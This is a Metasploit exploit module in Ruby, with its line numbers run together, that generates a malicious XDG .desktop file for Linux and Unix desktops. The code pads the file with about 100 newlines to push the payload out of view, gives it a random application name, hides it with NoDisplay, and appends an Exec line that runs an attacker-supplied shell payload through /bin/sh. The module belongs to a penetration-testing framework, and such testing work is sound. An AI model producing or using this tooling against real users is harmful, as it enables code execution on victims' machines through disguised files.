Path: blob/master/modules/exploits/multi/fileformat/xdg_desktop.rb
21089 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Malicious XDG Desktop File',15'Description' => %q{16This module creates a malicious XDG Desktop (.desktop) file.1718On most modern systems, desktop files are not trusted by default.19The user will receive a warning prompt that the file is not trusted20when running the file, but may choose to run the file anyway.2122The default file manager applications in some desktop environments23may impose more strict execution requirements by prompting the user24to set the file as executable and/or marking the file as trusted25before the file can be executed.26},27'Author' => [28'bcoles'29],30'License' => MSF_LICENSE,31'References' => [32['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],33['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/'],34['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/exec-variables.html'],35['URL', 'https://wiki.archlinux.org/title/Desktop_entries']36],37'Platform' => %w[linux unix solaris freebsd],38'Arch' => [ARCH_CMD],39'Targets' => [40[ 'Automatic', {} ]41],42'DefaultTarget' => 0,43'Privileged' => false,44'DisclosureDate' => '2007-02-06',45'Notes' => {46'Stability' => [CRASH_SAFE],47'Reliability' => [REPEATABLE_SESSION],48'SideEffects' => [SCREEN_EFFECTS]49}50)51)5253register_options([54OptString.new('FILENAME', [true, 'The desktop file name.', 'msf.desktop']),55OptString.new('APPLICATION_NAME', [false, 'The application name. Some file managers will display this name instead of the file name. (default is random)', '']),56])5758register_advanced_options([59OptInt.new('PrependNewLines', [false, 'Prepend new lines before the payload.', 100]),60])61end6263def application_name64datastore['APPLICATION_NAME'].blank? ? rand_text_alpha(6..12) : datastore['APPLICATION_NAME']65end6667def exploit68values = [69'Type=Application',70"Name=#{application_name}",71# 'Hidden=true', # This property is not supported by old systems, which prevents execution72'NoDisplay=true',73'Terminal=false'74]75desktop = "[Desktop Entry]\n"76desktop << values.shuffle.join("\n")77desktop << "\n"78desktop << "\n" * datastore['PrependNewLines']7980escaped_payload = payload.encoded.gsub('\\', '\\\\\\').gsub('"', '\\"')81desktop << "Exec=/bin/sh -c \"#{escaped_payload}\""8283file_create(desktop)84end85end868788